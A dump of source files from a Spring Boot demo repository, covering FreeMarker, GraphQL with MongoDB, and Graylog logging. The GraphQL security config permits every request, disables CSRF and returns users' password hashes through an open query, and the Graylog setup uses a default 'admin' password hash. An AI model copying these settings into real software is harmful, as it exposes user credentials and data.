size=\"18px\">${(a+b)?replace('o','abc')}</font>\n\t\t<br />\n\t\t<li>last_index_of</li>\n\t\t<font color=\"blue\" size=\"18px\">${(a+b)?last_index_of('o')}</font>\n\t\t<br />\n\t</ul>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_freemarker/src/test/java/com/spring/SpringBootFreemarker1ApplicationTests.java",
    "content": "package com.spring;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootFreemarker1ApplicationTests {\n\n\t@Test\n\tpublic void contextLoads() {\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/.gitignore",
    "content": "HELP.md\ntarget/\n!.mvn/wrapper/maven-wrapper.jar\n!**/src/main/**\n!**/src/test/**\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\nbuild/\n\n### VS Code ###\n.vscode/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/README.md",
    "content": "### spring boot with graphql\n\n输入\nhttp://localhost:8080/graphiql\n在浏览器执行graphql查询~\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_graphql_mongodb</artifactId>\n    <version>1.0</version>\n    <description>easy graphql for spring boot</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <!-- mongodb driver -->\n<!--        <dependency>-->\n<!--            <groupId>org.mongodb</groupId>-->\n<!--            <artifactId>mongodb-driver</artifactId>-->\n<!--            <version>3.12.0</version>-->\n<!--        </dependency>-->\n        <!-- jpa mongodb -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-mongodb</artifactId>\n            <version>2.2.2.RELEASE</version>\n        </dependency>\n\n\n        <!-- lombok -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.10</version>\n            <scope>provided</scope>\n        </dependency>\n        <!-- graphql -->\n        <dependency>\n            <groupId>com.graphql-java</groupId>\n            <artifactId>graphql-spring-boot-starter</artifactId>\n            <version>5.0.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.graphql-java</groupId>\n            <artifactId>graphql-java-tools</artifactId>\n            <version>5.2.4</version>\n        </dependency>\n        <dependency>\n            <groupId>com.graphql-java</groupId>\n            <artifactId>graphiql-spring-boot-starter</artifactId>\n            <version>5.0.2</version>\n        </dependency>\n        <!-- web -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <!-- security -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-security</artifactId>\n            <version>2.2.2.RELEASE</version>\n        </dependency>\n        <!-- jwt -->\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.1</version>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n            <exclusions>\n                <exclusion>\n                    <groupId>org.junit.vintage</groupId>\n                    <artifactId>junit-vintage-engine</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/GraphqlkickstartApplication.java",
    "content": "package com.dionysun.graphqlkickstart;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\n\n@SpringBootApplication\npublic class GraphqlkickstartApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(GraphqlkickstartApplication.class, args);\n    }\n\n    @Bean\n    public BCryptPasswordEncoder encoder(){\n        return new BCryptPasswordEncoder();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/config/SecurityConfig.java",
    "content": "package com.dionysun.graphqlkickstart.config;\n\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\n\n@Configuration\n@EnableWebSecurity\npublic class SecurityConfig extends WebSecurityConfigurerAdapter {\n    @Override\n    protected void configure(HttpSecurity http) throws Exception {\n        http\n                .authorizeRequests().antMatchers(\"/**\").permitAll()\n                .anyRequest().authenticated()\n                .and()\n                .csrf().disable();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/dao/ArticleRepository.java",
    "content": "package com.dionysun.graphqlkickstart.dao;\n\nimport com.dionysun.graphqlkickstart.entity.Article;\nimport org.springframework.data.mongodb.repository.MongoRepository;\nimport org.springframework.stereotype.Repository;\n\nimport java.util.List;\n\n@Repository\npublic interface ArticleRepository extends MongoRepository<Article, String> {\n    Article findArticleByTitle(String title);\n    List<Article> findArticlesByAuthorId(String authorId);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/dao/UserRepository.java",
    "content": "package com.dionysun.graphqlkickstart.dao;\n\nimport com.dionysun.graphqlkickstart.entity.User;\nimport org.springframework.data.mongodb.repository.MongoRepository;\nimport org.springframework.stereotype.Repository;\n\n@Repository\npublic interface UserRepository extends MongoRepository<User, String> {\n    User findUserByNickname(String nickname);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/dto/ArticleDto.java",
    "content": "package com.dionysun.graphqlkickstart.dto;\n\nimport com.dionysun.graphqlkickstart.entity.User;\nimport lombok.AllArgsConstructor;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.util.Date;\n\n@Data\n@NoArgsConstructor\n@AllArgsConstructor\npublic class ArticleDto {\n    private String id;\n    private User author;\n    private String title;\n    private String content;\n    private Date createBy;\n    private int thumbUp;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/entity/Article.java",
    "content": "package com.dionysun.graphqlkickstart.entity;\n\nimport lombok.*;\nimport org.springframework.data.annotation.Id;\nimport org.springframework.data.mongodb.core.mapping.Document;\nimport org.springframework.data.mongodb.core.mapping.Field;\n\nimport java.util.Date;\n\n@Data\n@ToString\n@Builder\n@Document(\"articles\")\npublic class Article {\n    @Id\n    private String id;\n    @Field(\"title\")\n    private String title;\n    @Field(\"content\")\n    private String content;\n    @Field(\"authorId\")\n    private String authorId;\n    @Field(\"createBy\")\n    private Date createBy;\n    @Field(\"thumbUp\")\n    private Integer thumbUp;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/entity/User.java",
    "content": "package com.dionysun.graphqlkickstart.entity;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport org.springframework.data.annotation.Id;\nimport org.springframework.data.mongodb.core.mapping.Document;\nimport org.springframework.data.mongodb.core.mapping.Field;\n\n@Document(\"users\")\n@Data\n@Builder\n@AllArgsConstructor\npublic class User {\n    @Id\n    private String id;\n    @Field(\"nickname\")\n    private String nickname;\n    @Field(\"mail\")\n    private String mail;\n    @Field(\"password\")\n    private String password;\n    @Field(\"description\")\n    private String description;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/resolvers/ArticleResolver.java",
    "content": "package com.dionysun.graphqlkickstart.resolvers;\n\nimport com.coxautodev.graphql.tools.GraphQLResolver;\nimport com.dionysun.graphqlkickstart.dao.UserRepository;\nimport com.dionysun.graphqlkickstart.entity.Article;\nimport com.dionysun.graphqlkickstart.entity.User;\nimport org.springframework.stereotype.Component;\n\n@Component\npublic class ArticleResolver implements GraphQLResolver<Article> {\n    private final UserRepository userRepository;\n\n    public ArticleResolver(UserRepository userRepository) {\n        this.userRepository = userRepository;\n    }\n\n    public User author(Article article) {\n        return userRepository.findById(article.getAuthorId()).get();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/resolvers/MutationResolver.java",
    "content": "package com.dionysun.graphqlkickstart.resolvers;\n\nimport com.coxautodev.graphql.tools.GraphQLMutationResolver;\nimport com.coxautodev.graphql.tools.GraphQLQueryResolver;\nimport com.dionysun.graphqlkickstart.dao.ArticleRepository;\nimport com.dionysun.graphqlkickstart.dao.UserRepository;\nimport com.dionysun.graphqlkickstart.entity.Article;\nimport com.dionysun.graphqlkickstart.entity.User;\nimport org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Date;\n\n@Component\npublic class MutationResolver implements GraphQLQueryResolver, GraphQLMutationResolver {\n\n    private final ArticleRepository articleRepository;\n    private final UserRepository userRepository;\n    private final BCryptPasswordEncoder encoder;\n\n    public MutationResolver(ArticleRepository articleRepository, UserRepository userRepository, BCryptPasswordEncoder encoder) {\n        this.articleRepository = articleRepository;\n        this.userRepository = userRepository;\n        this.encoder = encoder;\n    }\n    public User addUser(String mail, String nickname, String password) {\n        if(userRepository.findUserByNickname(nickname) != null){\n            return null;\n        }\n        return userRepository.save(User.builder()\n                .nickname(nickname)\n                .mail(mail)\n                .password(encoder.encode(password))\n                .build());\n    }\n\n    public  Article addArticle(String title, String content, String authorId) {\n        if(!userRepository.findById(authorId).isPresent()){\n            return null;\n        }\n        return articleRepository.save(Article.builder()\n                .authorId(authorId)\n                .title(title)\n                .content(content)\n                .createBy(new Date())\n                .thumbUp(0)\n                .build());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/java/com/dionysun/graphqlkickstart/resolvers/QueryResolver.java",
    "content": "package com.dionysun.graphqlkickstart.resolvers;\n\nimport com.coxautodev.graphql.tools.GraphQLQueryResolver;\nimport com.dionysun.graphqlkickstart.dao.ArticleRepository;\nimport com.dionysun.graphqlkickstart.dao.UserRepository;\nimport com.dionysun.graphqlkickstart.entity.Article;\nimport com.dionysun.graphqlkickstart.entity.User;\nimport org.springframework.stereotype.Component;\n\nimport java.util.List;\n\n@Component\npublic class QueryResolver implements GraphQLQueryResolver {\n\n    private final UserRepository userRepository;\n    private final ArticleRepository articleRepository;\n\n    public QueryResolver(UserRepository userRepository, ArticleRepository articleRepository) {\n        this.userRepository = userRepository;\n        this.articleRepository = articleRepository;\n    }\n\n    public Article article(String title) {\n        return articleRepository.findArticleByTitle(title);\n    }\n\n    public User user(String nickname) {\n        return userRepository.findUserByNickname(nickname);\n    }\n\n    public List<User> users() {\n        return userRepository.findAll();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/resources/application.properties",
    "content": "spring.data.mongodb.uri=mongodb://localhost:27017/test\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/main/resources/graphql/types.graphqls",
    "content": "type Query {\n    user(nickname: String): model.User\n    users: [model.User]\n    article(title: String!): Article\n}\ntype Mutation {\n    addUser(mail: String!, nickname: String!, password: String!): model.User\n    addArticle(title: String!, content: String!, authorId: String!): Article\n}\ntype model.User {\n    id: String!\n    mail: String!\n    nickname: String!\n    password: String!\n    description: String\n}\n\ntype Article {\n    id: String!\n    author: model.User!\n    title: String!\n    content: String!\n    createBy: String\n    thumbUp: Int\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_graphql_mongodb/src/test/java/com/dionysun/graphqlkickstart/GraphqlkickstartApplicationTests.java",
    "content": "package com.dionysun.graphqlkickstart;\n\nimport org.junit.jupiter.api.Test;\nimport org.springframework.boot.test.context.SpringBootTest;\n\n@SpringBootTest\nclass GraphqlkickstartApplicationTests {\n\n    @Test\n    void testAdd() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graylog/README.md",
    "content": "# spring-boot-demo-graylog\n\n> 此 demo 主要演示了 Spring Boot 项目如何接入 GrayLog 进行日志管理。\n\n## 注意\n\n作者在编写此 demo 时，`graylog` 采用 `docker-compose` 启动，其中 `graylog` 依赖的 `mongodb` 以及 `elasticsearch` 都同步启动，生产环境建议使用外部存储。\n\n## 1. 环境准备\n\n**编写 `graylog` 的 `docker-compose` 启动文件**\n\n> 如果本地没有 `mongo:3` 和 `elasticsearch-oss:6.6.1` 的镜像，会比较耗时间\n\n```yaml\nversion: '2'\nservices:\n  # MongoDB: https://hub.docker.com/_/mongo/\n  mongodb:\n    image: mongo:3\n  # Elasticsearch: https://www.elastic.co/guide/en/elasticsearch/reference/6.6/docker.html\n  elasticsearch:\n    image: docker.elastic.co/elasticsearch/elasticsearch-oss:6.6.1\n    environment:\n      - http.host=0.0.0.0\n      - transport.host=localhost\n      - network.host=0.0.0.0\n      - \"ES_JAVA_OPTS=-Xms512m -Xmx512m\"\n    ulimits:\n      memlock:\n        soft: -1\n        hard: -1\n    mem_limit: 1g\n  # Graylog: https://hub.docker.com/r/graylog/graylog/\n  graylog:\n    image: graylog/graylog:3.0\n    environment:\n      # 加密盐值，不设置，graylog会启动失败\n      # 该字段最少需要16个字符\n      - GRAYLOG_PASSWORD_SECRET=somepasswordpepper\n      # 设置用户名\n      - GRAYLOG_ROOT_USERNAME=admin\n      # 设置密码，此为密码进过SHA256加密后的字符串\n      # 加密方式，执行 echo -n \"Enter Password: \" && head -1 </dev/stdin | tr -d '\\n' | sha256sum | cut -d\" \" -f1\n      - GRAYLOG_ROOT_PASSWORD_SHA2=8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918\n      - GRAYLOG_HTTP_EXTERNAL_URI=http://127.0.0.1:9000/\n      # 设置时区\n      - GRAYLOG_ROOT_TIMEZONE=Asia/Shanghai\n    links:\n      - mongodb:mongo\n      - elasticsearch\n    depends_on:\n      - mongodb\n      - elasticsearch\n    ports:\n      # Graylog web interface and REST API\n      - 9000:9000\n      # Syslog TCP\n      - 1514:1514\n      # Syslog UDP\n      - 1514:1514/udp\n      # GELF TCP\n      - 12201:12201\n      # GELF UDP\n      - 12201:12201/udp\n```\n\n## 2. pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <artifactId>spring-boot-demo-graylog</artifactId>\n  <version>1.0.0-SNAPSHOT</version>\n  <packaging>jar</packaging>\n\n  <name>spring-boot-demo-graylog</name>\n  <description>Demo project for Spring Boot</description>\n\n  <parent>\n    <groupId>com.xkcoding</groupId>\n    <artifactId>spring-boot-demo</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n  </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <!-- 提供logback传输日志到graylog的依赖 -->\n    <dependency>\n      <groupId>de.siegmar</groupId>\n      <artifactId>logback-gelf</artifactId>\n      <version>2.0.0</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>spring-boot-demo-graylog</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n```\n\n## 3. application.yml\n\n```yaml\nspring:\n  application:\n    name: graylog\n```\n\n## 4. logback-spring.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 2019 Yangkai.Shen\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n  ~\n  ~    http://www.apache.org/licenses/LICENSE-2.0\n  ~ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n  -->\n<configuration scan=\"true\" scanPeriod=\"60 seconds\">\n\n  <!-- 彩色日志依赖的渲染类 -->\n  <conversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\"/>\n  <conversionRule conversionWord=\"wex\"\n                  converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\"/>\n  <conversionRule conversionWord=\"wEx\"\n                  converterClass=\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\"/>\n  <!-- 彩色日志格式 -->\n  <property name=\"CONSOLE_LOG_PATTERN\"\n            value=\"${CONSOLE_LOG_PATTERN:-%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{50}){cyan} %clr(:){faint} %file:%line - %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}\"/>\n  <!-- graylog全日志格式 -->\n  <property name=\"GRAY_LOG_FULL_PATTERN\"\n            value=\"%n%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%logger{50}] %file:%line%n%-5level: %msg%n\"/>\n  <!-- graylog简化日志格式 -->\n  <property name=\"GRAY_LOG_SHORT_PATTERN\"\n            value=\"%m%nopex\"/>\n\n  <!-- 获取服务名 -->\n  <springProperty scope=\"context\" name=\"APP_NAME\" source=\"spring.application.name\"/>\n\n  <!-- 控制台输出 -->\n  <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n    <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n      <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n      <charset>utf8</charset>\n    </encoder>\n  </appender>\n\n  <!-- graylog 日志收集 -->\n  <appender name=\"GELF\" class=\"de.siegmar.logbackgelf.GelfUdpAppender\">\n    <graylogHost>localhost</graylogHost>\n    <graylogPort>12201</graylogPort>\n    <maxChunkSize>508</maxChunkSize>\n    <useCompression>true</useCompression>\n    <encoder class=\"de.siegmar.logbackgelf.GelfEncoder\">\n      <includeRawMessage>true</includeRawMessage>\n      <includeMarker>true</includeMarker>\n      <includeMdcData>true</includeMdcData>\n      <includeCallerData>false</includeCallerData>\n      <includeRootCauseData>false</includeRootCauseData>\n      <includeLevelName>true</includeLevelName>\n      <shortPatternLayout class=\"ch.qos.logback.classic.PatternLayout\">\n        <pattern>${GRAY_LOG_SHORT_PATTERN}</pattern>\n      </shortPatternLayout>\n      <fullPatternLayout class=\"ch.qos.logback.classic.PatternLayout\">\n        <pattern>${GRAY_LOG_FULL_PATTERN}</pattern>\n      </fullPatternLayout>\n      <staticField>app_name:${APP_NAME}</staticField>\n      <staticField>os_arch:${os.arch}</staticField>\n      <staticField>os_name:${os.name}</staticField>\n      <staticField>os_version:${os.version}</staticField>\n    </encoder>\n  </appender>\n\n  <!-- 日志输出级别 -->\n  <root level=\"INFO\">\n    <appender-ref ref=\"STDOUT\"/>\n    <appender-ref ref=\"GELF\" />\n  </root>\n\n  <logger name=\"net.sf.ehcache\" level=\"INFO\"/>\n  <logger name=\"druid.sql\" level=\"INFO\"/>\n\n\n  <!-- MyBatis log configure -->\n  <logger name=\"com.apache.ibatis\" level=\"INFO\"/>\n  <logger name=\"org.mybatis.spring\" level=\"DEBUG\"/>\n  <logger name=\"java.sql.Connection\" level=\"DEBUG\"/>\n  <logger name=\"java.sql.Statement\" level=\"DEBUG\"/>\n  <logger name=\"java.sql.PreparedStatement\" level=\"DEBUG\"/>\n\n  <!-- 减少部分debug日志 -->\n  <logger name=\"druid.sql\" level=\"INFO\"/>\n  <logger name=\"org.apache.shiro\" level=\"INFO\"/>\n  <logger name=\"org.mybatis.spring\" level=\"INFO\"/>\n  <logger name=\"org.springframework\" level=\"INFO\"/>\n  <logger name=\"org.springframework.context\" level=\"WARN\"/>\n  <logger name=\"org.springframework.beans\" level=\"WARN\"/>\n  <logger name=\"com.baomidou.mybatisplus\" level=\"INFO\"/>\n  <logger name=\"org.apache.ibatis.io\" level=\"INFO\"/>\n  <logger name=\"org.apache.velocity\" level=\"INFO\"/>\n  <logger name=\"org.eclipse.jetty\" level=\"INFO\"/>\n  <logger name=\"io.undertow\" level=\"INFO\"/>\n  <logger name=\"org.xnio.nio\" level=\"INFO\"/>\n  <logger name=\"org.thymeleaf\" level=\"INFO\"/>\n  <logger name=\"springfox.documentation\" level=\"INFO\"/>\n  <logger name=\"org.hibernate.validator\" level=\"INFO\"/>\n  <logger name=\"com.netflix.loadbalancer\" level=\"INFO\"/>\n  <logger name=\"com.netflix.hystrix\" level=\"INFO\"/>\n  <logger name=\"com.netflix.zuul\" level=\"INFO\"/>\n  <logger name=\"de.codecentric\" level=\"INFO\"/>\n  <!-- cache INFO -->\n  <logger name=\"net.sf.ehcache\" level=\"INFO\"/>\n  <logger name=\"org.springframework.cache\" level=\"INFO\"/>\n  <!-- cloud -->\n  <logger name=\"org.apache.http\" level=\"INFO\"/>\n  <logger name=\"com.netflix.discovery\" level=\"INFO\"/>\n  <logger name=\"com.netflix.eureka\" level=\"INFO\"/>\n  <!-- 业务日志 -->\n  <Logger name=\"com.xkcoding\" level=\"DEBUG\"/>\n\n</configuration>\n```\n\n## 5. 配置 graylog 控制台，接收日志来源\n\n1. 登录 `graylog`，打开浏览器访问：http://localhost:9000\n\n   输入 `docker-compose.yml` 里配置的 `用户名/密码` 信息\n\n   ![登录graylog](assets/image-20190423164322865.png)\n\n2. 设置来源信息\n\n   ![设置Inputs](assets/image-20190423164633440.png)\n\n   ![image-20190423164748993](assets/image-20190423164748993.png)\n\n   ![image-20190423164932488](assets/image-20190423164932488.png)\n\n   ![image-20190423165120586](assets/image-20190423165120586.png)\n\n## 6. 启动 Spring Boot 项目\n\n启动成功后，返回graylog页面查看日志信息\n\n![image-20190423165936711](assets/image-20190423165936711.png)\n\n## 参考\n\n- graylog 官方下载地址：https://www.graylog.org/downloads#open-source\n\n- graylog 官方docker镜像：https://hub.docker.com/r/graylog/graylog/\n\n- graylog 镜像启动方式：http://docs.graylog.org/en/stable/pages/installation/docker.html\n\n- graylog 启动参数配置：http://docs.graylog.org/en/stable/pages/configuration/server.conf.html\n\n  注意，启动参数需要加 `GRAYLOG_` 前缀\n\n- 日志收集依赖：https://github.com/osiegmar/logback-gelf"
  },
  {
    "path": "jun_springboot_plugin/springboot_graylog/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_graylog</artifactId>\n\t<version>1.0</version>\n  <packaging>jar</packaging>\n\n  <name>springboot_graylog</name>\n  <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-web</artifactId>\n    </dependency>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <!-- 提供logback传输日志到graylog的依赖 -->\n    <dependency>\n      <groupId>de.siegmar</groupId>\n      <artifactId>logback-gelf</artifactId>\n      <version>2.0.0</version>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <finalName>springboot_graylog</finalName>\n    <plugins>\n      <plugin>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-maven-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graylog/src/main/java/com/jun/plugin/graylog/SpringBootDemoGraylogApplication.java",
    "content": "package com.jun.plugin.graylog;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.graylog\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2019-04-23 09:43\n * @copyright: Copyright (c) 2019\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoGraylogApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoGraylogApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graylog/src/main/resources/application.yml",
    "content": "spring:\n  application:\n    name: graylog"
  },
  {
    "path": "jun_springboot_plugin/springboot_graylog/src/main/resources/logback-spring.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n  ~ Copyright 2019 Yangkai.Shen\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n  ~\n  ~    http://www.apache.org/licenses/LICENSE-2.0\n  ~ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n  -->\n<configuration scan=\"true\" scanPeriod=\"60 seconds\">\n\n  <!-- 彩色日志依赖的渲染类 -->\n  <conversionRule conversionWord=\"clr\" converterClass=\"org.springframework.boot.logging.logback.ColorConverter\"/>\n  <conversionRule conversionWord=\"wex\"\n                  converterClass=\"org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter\"/>\n  <conversionRule conversionWord=\"wEx\"\n                  converterClass=\"org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter\"/>\n  <!-- 彩色日志格式 -->\n  <property name=\"CONSOLE_LOG_PATTERN\"\n            value=\"${CONSOLE_LOG_PATTERN:-%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{50}){cyan} %clr(:){faint} %file:%line - %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}\"/>\n  <!-- graylog全日志格式 -->\n  <property name=\"GRAY_LOG_FULL_PATTERN\"\n            value=\"%n%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] [%logger{50}] %file:%line%n%-5level: %msg%n\"/>\n  <!-- graylog简化日志格式 -->\n  <property name=\"GRAY_LOG_SHORT_PATTERN\"\n            value=\"%m%nopex\"/>\n\n  <!-- 获取服务名 -->\n  <springProperty scope=\"context\" name=\"APP_NAME\" source=\"spring.application.name\"/>\n\n  <!-- 控制台输出 -->\n  <appender name=\"STDOUT\" class=\"ch.qos.logback.core.ConsoleAppender\">\n    <encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n      <pattern>${CONSOLE_LOG_PATTERN}</pattern>\n      <charset>utf8</charset>\n    </encoder>\n  </appender>\n\n  <!-- graylog 日志收集 -->\n  <appender name=\"GELF\" class=\"de.siegmar.logbackgelf.GelfUdpAppender\">\n    <graylogHost>localhost</graylogHost>\n    <graylogPort>12201</graylogPort>\n    